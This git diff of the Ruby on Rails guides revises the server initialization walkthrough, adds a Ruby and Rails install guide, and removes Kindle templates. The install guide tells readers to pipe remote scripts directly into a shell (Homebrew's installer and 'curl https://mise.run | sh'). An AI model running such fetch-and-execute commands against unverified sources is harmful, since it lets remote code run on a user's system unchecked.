+        command = find_by_namespace(namespace, command_name)
+
+        with_argv(args) do
+          if command && command.all_commands[command_name]
+            command.perform(command_name, args, config)
+          else
+            invoke_rake(full_namespace, args, config)
+          end
+        end
+      rescue UnrecognizedCommandError => error
+        if error.name == full_namespace && command && command_name == full_namespace
+          command.perform("help", [], config)
+        else
+          puts error.detailed_message
+        end
+        exit(1)
       end
     end
   end
@@ -189,13 +142,21 @@ module Rails
     class ServerCommand < Base # :nodoc:
       def perform
         set_application_directory!
-  
-        Rails::Server.new.tap do |server|
+        prepare_restart
+
+        Rails::Server.new(server_options).tap do |server|
           # Require application after server sets environment to propagate
           # the --environment option.
           require APP_PATH
           Dir.chdir(Rails.application.root)
-          server.start
+
+          if server.serveable?
+            print_boot_information(server.server, server.served_url)
+            after_stop_callback = -> { say "Exiting" unless options[:daemon] }
+            server.start(after_stop_callback)
+          else
+            say rack_server_suggestion(options[:using])
+          end
         end
       end
     end
@@ -215,113 +176,99 @@ It adds functionality like routing, session, and common middlewares.
 ### `rails/commands/server/server_command.rb`
 
 The `Rails::Server` class is defined in this file by inheriting from
-`Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize`
+`Rackup::Server`. When `Rails::Server.new` is called, this calls the `initialize`
 method in `rails/commands/server/server_command.rb`:
 
 ```ruby
-def initialize(*)
-  super
-  set_environment
+module Rails
+  class Server < Rackup::Server
+    def initialize(options = nil)
+      @default_options = options || {}
+      super(@default_options)
+      set_environment
+    end
+  end
 end
 ```
 
-Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.
-
-### Rack: `lib/rack/server.rb`
-
-`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
-
-The `initialize` method in `Rack::Server` simply sets a couple of variables:
+Firstly, `super` is called which calls the `initialize` method on `Rackup::Server`.
 
-```ruby
-def initialize(options = nil)
-  @options = options
-  @app = options[:app] if options && options[:app]
-end
-```
+### Rackup: `lib/rackup/server.rb`
 
-In this case, `options` will be `nil` so nothing happens in this method.
+`Rackup::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
 
-After `super` has finished in `Rack::Server`, we jump back to
-`rails/commands/server/server_command.rb`. At this point, `set_environment`
-is called within the context of the `Rails::Server` object and this method
-doesn't appear to do much at first glance:
+The `initialize` method in `Rackup::Server` simply sets several variables:
 
 ```ruby
-def set_environment
-  ENV["RAILS_ENV"] ||= options[:environment]
-end
-```
-
-In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:
+module Rackup
+  class Server
+    def initialize(options = nil)
+      @ignore_options = []
 
-```ruby
-def options
-  @options ||= parse_options(ARGV)
+      if options
+        @use_default_options = false
+        @options = options
+        @app = options[:app] if options[:app]
+      else
+        @use_default_options = true
+        @options = parse_options(ARGV)
+      end
+    end
+  end
 end
 ```
 
-Then `parse_options` is defined like this:
+In this case, return value of `Rails::Command::ServerCommand#server_options` will be assigned to `options`.
+When lines inside if statement is evaluated, a couple of instance variables will be set.
 
-```ruby
-def parse_options(args)
-  options = default_options
-
-  # Don't evaluate CGI ISINDEX parameters.
-  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
-  args.clear if ENV.include?("REQUEST_METHOD")
-
-  options.merge! opt_parser.parse!(args)
-  options[:config] = ::File.expand_path(options[:config])
-  ENV["RACK_ENV"] = options[:environment]
-  options
-end
-```
-
-With the `default_options` set to this:
+`server_options` method in `Rails::Command::ServerCommand` is defined as follows:
 
 ```ruby
-def default_options
-  super.merge(
-    Port:               ENV.fetch("PORT", 3000).to_i,
-    Host:               ENV.fetch("HOST", "localhost").dup,
-    DoNotReverseLookup: true,
-    environment:        (ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development").dup,
-    daemonize:          false,
-    caching:            nil,
-    pid:                Options::DEFAULT_PID_PATH,
-    restart_cmd:        restart_command)
+module Rails
+  module Command
+    class ServerCommand < Base # :nodoc:
+      no_commands do
+        def server_options
+          {
+            user_supplied_options: user_supplied_options,
+            server:                options[:using],
+            log_stdout:            log_to_stdout?,
+            Port:                  port,
+            Host:                  host,
+            DoNotReverseLookup:    true,
+            config:                options[:config],
+            environment:           environment,
+            daemonize:             options[:daemon],
+            pid:                   pid,
+            caching:               options[:dev_caching],
+            restart_cmd:           restart_command,
+            early_hints:           early_hints
+          }
+        end
+      end
+    end
+  end
 end
 ```
 
-There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`:
-
-```ruby
-def opt_parser
-  Options.new
-end
-```
+The value will be assigned to instance variable `@options`.
 
-The class **is** defined in `Rack::Server`, but is overwritten in
-`Rails::Server` to take different arguments. Its `parse!` method looks
-like this:
+After `super` has finished in `Rackup::Server`, we jump back to
+`rails/commands/server/server_command.rb`. At this point, `set_environment`
+is called within the context of the `Rails::Server` object.
 
 ```ruby
-def parse!(args)
-  args, options = args.dup, {}
-
-  option_parser(options).parse! args
-  
-  options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
-  options[:server]     = args.shift
-  options
+module Rails
+  module Server
+    def set_environment
+      ENV["RAILS_ENV"] ||= options[:environment]
+    end
+  end
 end
 ```
 
-This method will set up keys for the `options` which Rails will then be
-able to use to determine how its server should run. After `initialize`
-has finished, we jump back into the server command where `APP_PATH` (which was
-set earlier) is required.
+After `initialize` has finished, we jump back into the server command
+where `APP_PATH` (which was set earlier) is required.
 
 ### `config/application`
 
@@ -335,99 +282,102 @@ After `config/application` is loaded, `server.start` is called. This method is
 defined like this:
 
 ```ruby
-def start
-  print_boot_information
-  trap(:INT) { exit }
-  create_tmp_directories
-  setup_dev_caching
-  log_to_stdout if options[:log_stdout]
-
-  super
-  ...
-end
+module Rails
+  class Server < ::Rackup::Server
+    def start(after_stop_callback = nil)
+      trap(:INT) { exit }
+      create_tmp_directories
+      setup_dev_caching
+      log_to_stdout if options[:log_stdout]
+
+      super()
+      # ...
+    end
 
-private
-  def print_boot_information
-    ...
-    puts "=> Run `rails server -h` for more startup options"
-  end
+    private
+      def setup_dev_caching
+        if options[:environment] == "development"
+          Rails::DevCaching.enable_by_argument(options[:caching])
+        end
+      end
 
-  def create_tmp_directories
-    %w(cache pids sockets).each do |dir_to_make|
-      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
-    end
-  end
+      def create_tmp_directories
+        %w(cache pids sockets).each do |dir_to_make|
+          FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make))
+        end
+      end
 
-  def setup_dev_caching
-    if options[:environment] == "development"
-      Rails::DevCaching.enable_by_argument(options[:caching])
-    end
-  end
+      def log_to_stdout
+        wrapped_app # touch the app so the logger is set up
 
-  def log_to_stdout
-    wrapped_app # touch the app so the logger is set up
-  
-    console = ActiveSupport::Logger.new(STDOUT)
-    console.formatter = Rails.logger.formatter
-    console.level = Rails.logger.level
-  
-    unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
-      Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
-    end
+        console = ActiveSupport::Logger.new(STDOUT)
+        console.formatter = Rails.logger.formatter
+        console.level = Rails.logger.level
+
+        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT)
+          Rails.logger.broadcast_to(console)
+        end
+      end
   end
+end
 ```
 
-This is where the first output of the Rails initialization happens. This method
-creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the
-process. As we can see from the code here, it will create the `tmp/cache`,
+This method creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the process.
+As we can see from the code here, it will create the `tmp/cache`,
 `tmp/pids`, and `tmp/sockets` directories. It then enables caching in development
-if `rails server` is called with `--dev-caching`. Finally, it calls `wrapped_app` which is
+if `bin/rails server` is called with `--dev-caching`. Finally, it calls `wrapped_app` which is
 responsible for creating the Rack app, before creating and assigning an instance
 of `ActiveSupport::Logger`.
 
-The `super` method will call `Rack::Server.start` which begins its definition like this:
+The `super` method will call `Rackup::Server.start` which begins its definition as follows:
 
 ```ruby
-def start &blk
-  if options[:warn]
-    $-w = true
-  end
+module Rackup
+  class Server
+    def start(&block)
+      if options[:warn]
+        $-w = true
+      end
 
-  if includes = options[:include]
-    $LOAD_PATH.unshift(*includes)
-  end
+      if includes = options[:include]
+        $LOAD_PATH.unshift(*includes)
+      end
 
-  if library = options[:require]
-    require library
-  end
+      Array(options[:require]).each do |library|
+        require library
+      end
 
-  if options[:debug]
-    $DEBUG = true
-    require 'pp'
-    p options[:server]
-    pp wrapped_app
-    pp app
-  end
+      if options[:debug]
+        $DEBUG = true
+        require "pp"
+        p options[:server]
+        pp wrapped_app
+        pp app
+      end
 
-  check_pid! if options[:pid]
+      check_pid! if options[:pid]
 
-  # Touch the wrapped app, so that the config.ru is loaded before
-  # daemonization (i.e. before chdir, etc).
-  wrapped_app
+      # Touch the wrapped app, so that the config.ru is loaded before
+      # daemonization (i.e. before chdir, etc).
+      handle_profiling(options[:heapfile], options[:profile_mode], options[:profile_file]) do
+        wrapped_app
+      end
+
+      daemonize_app if options[:daemonize]
 
-  daemonize_app if options[:daemonize]
+      write_pid if options[:pid]
 
-  write_pid if options[:pid]
+      trap(:INT) do
+        if server.respond_to?(:shutdown)
+          server.shutdown
+        else
+          exit
+        end
+      end
 
-  trap(:INT) do
-    if server.respond_to?(:shutdown)
-      server.shutdown
-    else
-      exit
+      server.run(wrapped_app, **options, &block)
     end
   end
-
-  server.run wrapped_app, options, &blk
 end
 ```
 
@@ -436,30 +386,40 @@ we're going to explore more (even though it was executed before, and
 thus memoized by now).
 
 ```ruby
-@wrapped_app ||= build_app app
+module Rackup
+  class Server
+    def wrapped_app
+      @wrapped_app ||= build_app app
+    end
+  end
+end
 ```
 
 The `app` method here is defined like so:
 
 ```ruby
-def app
-  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
-end
-...
-private
-  def build_app_and_options_from_config
-    if !::File.exist? options[:config]
-      abort "configuration #{options[:config]} not found"
+module Rackup
+  class Server
+    def app
+      @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
     end
 
-    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
-    self.options.merge! options
-    app
-  end
+    # ...
+
+    private
+      def build_app_and_options_from_config
+        if !::File.exist? options[:config]
+          abort "configuration #{options[:config]} not found"
+        end
 
-  def build_app_from_string
-    Rack::Builder.new_from_string(self.options[:builder])
+        Rack::Builder.parse_file(self.options[:config])
+      end
+
+      def build_app_from_string
+        Rack::Builder.new_from_string(self.options[:builder])
+      end
   end
+end
 ```
 
 The `options[:config]` value defaults to `config.ru` which contains this:
@@ -467,38 +427,55 @@ The `options[:config]` value defaults to `config.ru` which contains this:
 ```ruby
 # This file is used by Rack-based servers to start the application.
 
-require_relative 'config/environment'
-run <%= app_const %>
+require_relative "config/environment"
+
+run Rails.application
+Rails.application.load_server
 ```
 
 
 The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
 
 ```ruby
-app = new_from_string cfgfile, config
+module Rack
+  class Builder
+    def self.load_file(path, **options)
+      # ...
+      new_from_string(config, path, **options)
+    end
+
+    # ...
 
-...
+    def self.new_from_string(builder_script, path = "(rackup)", **options)
+      builder = self.new(**options)
 
-def self.new_from_string(builder_script, file="(rackup)")
-  eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
-    TOPLEVEL_BINDING, file, 0
+      # We want to build a variant of TOPLEVEL_BINDING with self as a Rack::Builder instance.
+      # We cannot use instance_eval(String) as that would resolve constants differently.
+      binding = BUILDER_TOPLEVEL_BINDING.call(builder)
+      eval(builder_script, binding, path)
+
+      builder.to_app
+    end
+  end
 end
 ```
 
-The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
+The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`.
+This is where the majority of the initialization process of Rails happens.
+The `require` line for `config/environment.rb` in `config.ru` is the first to run:
 
 ```ruby
-require_relative 'config/environment'
+require_relative "config/environment"
 ```
 
 ### `config/environment.rb`
 
-This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+This file is the common file required by `config.ru` (`bin/rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
 
 This file begins with requiring `config/application.rb`:
 
 ```ruby
-require_relative 'application'
+require_relative "application"
 ```
 
 ### `config/application.rb`
@@ -506,10 +483,10 @@ require_relative 'application'
 This file requires `config/boot.rb`:
 
 ```ruby
-require_relative 'boot'
+require_relative "boot"
 ```
 
-But only if it hasn't been required before, which would be the case in `rails server`
+But only if it hasn't been required before, which would be the case in `bin/rails server`
 but **wouldn't** be the case with Passenger.
 
 Then the fun begins!
@@ -520,7 +497,7 @@ Loading Rails
 The next line in `config/application.rb` is:
 
 ```ruby
-require 'rails/all'
+require "rails/all"
 ```
 
 ### `railties/lib/rails/all.rb`
@@ -532,13 +509,15 @@ require "rails"
 
 %w(
   active_record/railtie
+  active_storage/engine
   action_controller/railtie
   action_view/railtie
   action_mailer/railtie
   active_job/railtie
   action_cable/engine
+  action_mailbox/engine
+  action_text/engine
   rails/test_unit/railtie
-  sprockets/railtie
 ).each do |railtie|
   begin
     require railtie
@@ -569,7 +548,7 @@ defined in `rails/application.rb`.
 The `initialize!` method looks like this:
 
 ```ruby
-def initialize!(group=:default) #:nodoc:
+def initialize!(group = :default) # :nodoc:
   raise "Application has been already initialized." if @initialized
   run_initializers(group, self)
   @initialized = true
@@ -577,11 +556,12 @@ def initialize!(group=:default) #:nodoc:
 end
 ```
 
-As you can see, you can only initialize an app once. The initializers are run through
-the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`:
+You can only initialize an app once. The Railtie [initializers](configuring.html#initializers)
+are run through the `run_initializers` method which is defined in
+`railties/lib/rails/initializable.rb`:
 
 ```ruby
-def run_initializers(group=:default, *args)
+def run_initializers(group = :default, *args)
   return if instance_variable_defined?(:@ran)
   initializers.tsort_each do |initializer|
     initializer.run(*args) if initializer.belongs_to?(group)
@@ -601,55 +581,67 @@ defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` ini
 prepare the application (like initializing the logger) while the `finisher`
 initializers (like building the middleware stack) are run last. The `railtie`
 initializers are the initializers which have been defined on the `Rails::Application`
-itself and are run between the `bootstrap` and `finishers`.
+itself and are run between the `bootstrap` and `finisher`.
+
+NOTE: Do not confuse Railtie initializers overall with the [load_config_initializers](configuring.html#using-initializer-files)
+initializer instance or its associated config initializers in `config/initializers`.
 
-After this is done we go back to `Rack::Server`.
+After this is done we go back to `Rackup::Server`.
 
 ### Rack: lib/rack/server.rb
 
 Last time we left when the `app` method was being defined:
 
 ```ruby
-def app
-  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
-end
-...
-private
-  def build_app_and_options_from_config
-    if !::File.exist? options[:config]
-      abort "configuration #{options[:config]} not found"
+module Rackup
+  class Server
+    def app
+      @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
     end
 
-    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
-    self.options.merge! options
-    app
-  end
+    # ...
+
+    private
+      def build_app_and_options_from_config
+        if !::File.exist? options[:config]
+          abort "configuration #{options[:config]} not found"
+        end
+
+        Rack::Builder.parse_file(self.options[:config])
+      end
 
-  def build_app_from_string
-    Rack::Builder.new_from_string(self.options[:builder])
+      def build_app_from_string
+        Rack::Builder.new_from_string(self.options[:builder])
+      end
   end
+end
 ```
 
 At this point `app` is the Rails app itself (a middleware), and what
 happens next is Rack will call all the provided middlewares:
 
 ```ruby
-def build_app(app)
-  middleware[options[:environment]].reverse_each do |middleware|
-    middleware = middleware.call(self) if middleware.respond_to?(:call)
-    next unless middleware
-    klass = middleware.shift
-    app = klass.new(app, *middleware)
+module Rackup
+  class Server
+    private
+      def build_app(app)
+        middleware[options[:environment]].reverse_each do |middleware|
+          middleware = middleware.call(self) if middleware.respond_to?(:call)
+          next unless middleware
+          klass, *args = middleware
+          app = klass.new(app, *args)
+        end
+        app
+      end
   end
-  app
 end
 ```
 
-Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`.
+Remember, `build_app` was called (by `wrapped_app`) in the last line of `Rackup::Server#start`.
 Here's how it looked like when we left:
 
 ```ruby
-server.run wrapped_app, options, &blk
+server.run(wrapped_app, **options, &block)
 ```
 
 At this point, the implementation of `server.run` will depend on the
@@ -657,46 +649,29 @@ server you're using. For example, if you were using Puma, here's what
 the `run` method would look like:
 
 ```ruby
-...
-DEFAULT_OPTIONS = {
-  :Host => '0.0.0.0',
-  :Port => 8080,
-  :Threads => '0:16',
-  :Verbose => false
-}
-
-def self.run(app, options = {})
-  options = DEFAULT_OPTIONS.merge(options)
-
-  if options[:Verbose]
-    app = Rack::CommonLogger.new(app, STDOUT)
-  end
+module Rack
+  module Handler
+    module Puma
+      # ...
+      def self.run(app, options = {})
+        conf = self.config(app, options)
 
-  if options[:environment]
-    ENV['RACK_ENV'] = options[:environment].to_s
-  end
-
-  server   = ::Puma::Server.new(app)
-  min, max = options[:Threads].split(':', 2)
+        log_writer = options.delete(:Silent) ? ::Puma::LogWriter.strings : ::Puma::LogWriter.stdio
 
-  puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
-  puts "* Min threads: #{min}, max threads: #{max}"
-  puts "* Environment: #{ENV['RACK_ENV']}"
-  puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+        launcher = ::Puma::Launcher.new(conf, log_writer: log_writer, events: @events)
 
-  server.add_tcp_listener options[:Host], options[:Port]
-  server.min_threads = min
-  server.max_threads = max
-  yield server if block_given?
-
-  begin
-    server.run.join
-  rescue Interrupt
-    puts "* Gracefully stopping, waiting for requests to finish"
-    server.stop(true)
-    puts "* Goodbye!"
+        yield launcher if block_given?
+        begin
+          launcher.run
+        rescue Interrupt
+          puts "* Gracefully stopping, waiting for requests to finish"
+          launcher.stop
+          puts "* Goodbye!"
+        end
+      end
+      # ...
+    end
   end
-
 end
 ```
 
diff --git a/guides/source/install_ruby_on_rails.md b/guides/source/install_ruby_on_rails.md
new file mode 100644
index 0000000000000..ce4891ff33e0e
--- /dev/null
+++ b/guides/source/install_ruby_on_rails.md
@@ -0,0 +1,133 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Install Ruby on Rails Guide
+===========================
+
+This guide will walk you through installing the Ruby programming language and the Rails framework on your operating system.
+
+While your OS might come with Ruby pre-installed, it's often outdated and can't be upgraded. Using a version manager like [Mise](https://mise.jdx.dev/getting-started.html) allows you to install the latest Ruby version, use a different Ruby version for each app, and easily upgrade to new versions when they're released.
+
+Alternatively, you can use Dev Containers to run Rails without installing Ruby or Rails directly on your machine. Check out the [Getting Started with Dev Containers](getting_started_with_devcontainer.html) guide to learn more.
+
+--------------------------------------------------------------------------------
+
+## Choose Your Operating System
+
+Follow the section for the operating system you use:
+
+* [macOS](#install-ruby-on-macos)
+* [Ubuntu](#install-ruby-on-ubuntu)
+* [Windows](#install-ruby-on-windows)
+
+TIP: Any commands prefaced with a dollar sign `$` should be run in the terminal.
+
+### Install Ruby on macOS
+
+You'll need macOS Catalina 10.15 or newer to follow these instructions.
+
+For macOS, you'll need Xcode Command Line Tools and Homebrew to install dependencies needed to compile Ruby.
+
+Open Terminal and run the following commands:
+
+```bash
+# Install Xcode Command Line Tools
+$ xcode-select --install
+
+# Install Homebrew and dependencies
+$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+$ echo 'export PATH="/opt/homebrew/bin:$PATH"' >> ~/.zshrc
+$ source ~/.zshrc
+$ brew install openssl@3 libyaml gmp rust
+
+# Install Mise version manager
+$ curl https://mise.run | sh
+$ echo 'eval "$(~/.local/bin/mise activate)"' >> ~/.zshrc
+$ source ~/.zshrc
+
+# Install Ruby globally with Mise
+$ mise use -g ruby@3
+```
+
+### Install Ruby on Ubuntu
+
+You'll need Ubuntu Jammy 22.04 or newer to follow these instructions.
+
+Open Terminal and run the following commands:
+
+```bash
+# Install dependencies with apt
+$ sudo apt update
+$ sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git
+
+# Install Mise version manager
+$ curl https://mise.run | sh
+$ echo 'eval "$(~/.local/bin/mise activate)"' >> ~/.bashrc
+$ source ~/.bashrc
+
+# Install Ruby globally with Mise
+$ mise use -g ruby@3
+```
+
+### Install Ruby on Windows
+
+The Windows Subsystem for Linux (WSL) will provide the best experience for Ruby on Rails development on Windows. It runs Ubuntu inside of Windows which allows you to work in an environment that is close to what your servers will run in production.
+
+You will need Windows 11 or Windows 10 version 2004 and higher (Build 19041 and higher).
+
+Open PowerShell or Windows Command Prompt and run:
+
+```bash
+$ wsl --install --distribution Ubuntu-24.04
+```
+
+You may need to reboot during the installation process.
+
+Once installed, you can open Ubuntu from the Start menu. Enter a username and password for your Ubuntu user when prompted.
+
+Then run the following commands:
+
+```bash
+# Install dependencies with apt
+$ sudo apt update
+$ sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev
+
+# Install Mise version manager
+$ curl https://mise.run | sh
+$ echo 'eval "$(~/.local/bin/mise activate bash)"' >> ~/.bashrc
+$ source ~/.bashrc
+
+# Install Ruby globally with Mise
+$ mise use -g ruby@3
+```
+
+Verifying Your Ruby Install
+---------------------------
+
+Once Ruby is installed, you can verify it works by running:
+
+```bash
+$ ruby --version
+ruby 3.3.6
+```
+
+Installing Rails
+----------------
+
+A "gem" in Ruby is a self-contained package of a library or Ruby program. We can use Ruby's `gem` command to install the latest version of Rails and its dependencies from [RubyGems.org](https://rubygems.org).
+
+Run the following command to install the latest Rails and make it available in your terminal:
+
+```bash
+$ gem install rails
+```
+
+To verify that Rails is installed correctly, run the following and you should see a version number printed out:
+
+```bash
+$ rails --version
+Rails 8.0.0
+```
+
+NOTE: If the `rails` command is not found, try restarting your terminal.
+
+You're ready to [Get Started with Rails](getting_started.html)!
diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb
deleted file mode 100644
index fd8746776b052..0000000000000
--- a/guides/source/kindle/layout.html.erb
+++ /dev/null
@@ -1,27 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-
-<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
-
-<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" />
-
-</head>
-<body class="guide">
-
-  <% if content_for? :header_section %>
-    <%= yield :header_section %>
-    <div class="pagebreak"></div>
-  <% end %>
-
-  <% if content_for? :index_section %>
-    <%= yield :index_section %>
-    <div class="pagebreak"></div>
-  <% end %>
-
-  <%= yield.html_safe %>
-</body>
-</html>
diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb
deleted file mode 100644
index 63eeb007d7317..0000000000000
--- a/guides/source/kindle/rails_guides.opf.erb
+++ /dev/null
@@ -1,52 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides">
-<metadata>
-  <meta name="cover" content="cover" />
-  <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
-
-       <dc:title>Ruby on Rails Guides (<%= @version || "master@#{@edge[0, 7]}" %>)</dc:title>
-
-  	<dc:language>en-us</dc:language>
-  	<dc:creator>Ruby on Rails</dc:creator>
-  	<dc:publisher>Ruby on Rails</dc:publisher>
-  	<dc:subject>Reference</dc:subject>
-  	<dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date>
-
-    <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description>
-  </dc-metadata>
-  <x-metadata>
-    <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/>
-  </x-metadata>
-</metadata>
-
-<manifest>
-  <!-- HTML content files [mandatory] -->
-  <% documents_flat.each do |document| %>
-    <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" />
-  <% end %>
-
-  <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %>
-    <item id="<%= url %>" media-type="text/html" href="<%= url %>" />
-  <% end %>
-
-  <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" />
-
-  <item id="cover" media-type="image/jpg" href="images/rails_guides_kindle_cover.jpg"/>
-</manifest>
-
-<spine toc="toc">
-  <itemref idref="toc.html" />
-  <itemref idref="welcome.html" />
-  <itemref idref="credits.html" />
-  <itemref idref="copyright.html" />
-  <% documents_flat.each do |document| %>
-    <itemref idref="<%= document['url'] %>" />
-  <% end %>
-</spine>
-
-<guide>
-	<reference type="toc" title="Table of Contents" href="toc.html"></reference>
-</guide>
-
-</package>
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
deleted file mode 100644
index f310edd3a11fa..0000000000000
--- a/guides/source/kindle/toc.html.erb
+++ /dev/null
@@ -1,24 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides
-<% end %>
-
-<h1>Table of Contents</h1>
-<div id="toc">
-  <ul><li><a href="welcome.html">Welcome</a></li></ul>
-<% documents_by_section.each_with_index do |section, i| %>
-  <h3><%= "#{i + 1}." %> <%= section['name'] %></h3>
-  <ul>
-    <% section['documents'].each do |document| %>
-      <li>
-        <a href="<%= document['url'] %>"><%= document['name'] %></a>
-        <% if document['work_in_progress']%>(WIP)<% end %>
-      </li>
-    <% end %>
-  </ul>  
-<% end %>
-<hr />
-<ul>
-  <li><a href="credits.html">Credits</a></li>
-  <li><a href="copyright.html">Copyright &amp; License</a></li>
-</ul>
-</div>
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
index bb50761b30cf5..a81c80e8a384c 100644
--- a/guides/source/layout.html.erb
+++ b/guides/source/layout.html.erb
@@ -1,138 +1,179 @@
-<!DOCTYPE html>
+<!doctype html>
+<html dir="<%= @direction %>" lang="en">
 
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-<meta name="viewport" content="width=device-width, initial-scale=1"/>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <title><%= yield(:page_title) %></title>
+  <link rel="stylesheet" type="text/css" href="<%= digest_path('stylesheets/style.css') %>" data-turbo-track="reload">
+  <link rel="stylesheet" type="text/css" href="<%= digest_path('stylesheets/print.css') %>" media="print">
+  <link rel="stylesheet" type="text/css" href="<%= digest_path('stylesheets/highlight.css') %>" data-turbo-track="reload">
 
-<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
-<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+  <link rel="icon" href="images/favicon.ico" sizes="any">
 
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+  <link rel="apple-touch-icon" href="images/icon.png">
 
-<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
+  <link rel="canonical" href="<%= canonical_url(@path) %>">
 
-<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+  <script src="<%= digest_path('javascripts/@hotwired--turbo.js') %>" data-turbo-track="reload"></script>
+  <script src="<%= digest_path('javascripts/clipboard.js') %>" data-turbo-track="reload"></script>
+  <script src="<%= digest_path('javascripts/guides.js') %>" data-turbo-track="reload"></script>
+
+  <meta property="og:title" content="<%= yield(:page_title) %>" />
+  <meta name="description" content="<%= yield(:description) %>" />
+  <meta property="og:description" content="<%= yield(:description) %>" />
+  <meta property="og:locale" content="en_US" />
+  <meta property="og:site_name" content="Ruby on Rails Guides" />
+  <meta property="og:image" content="https://avatars.githubusercontent.com/u/4223" />
+  <meta property="og:type" content="website" />
+
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Noto+Sans+Arabic:wght@100..900&display=swap" rel="stylesheet">
+  <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@100..900&family=Noto+Sans+Arabic:wght@100..900&display=swap" rel="stylesheet">
+
+  <meta name="theme-color" content="#C81418">
 </head>
-<body class="guide">
-  <% if @edge %>
-  <div>
-    <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
-  </div>
-  <% end %>
-  <div id="topNav">
+
+<body dir="<%= @direction %>" class="guide no-js">
+  <script>
+    document.body.classList.remove('no-js')
+  </script>
+
+  <a id="main-skip-link" href="#main" class="skip-link" data-turbo="false">
+    Skip to main content
+  </a>
+
+  <div id="mobile-navigation-bar">
     <div class="wrapper">
-      <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
-      <span class="red-button more-info-button">
+      <strong class="more-info-label">More at <a href="https://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <button type="button" class="js-only red-button more-info-button" id="more-info" aria-controls="more-info-links" aria-expanded="false">
         More Ruby on Rails
-      </span>
-      <ul class="more-info-links s-hidden">
-        <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
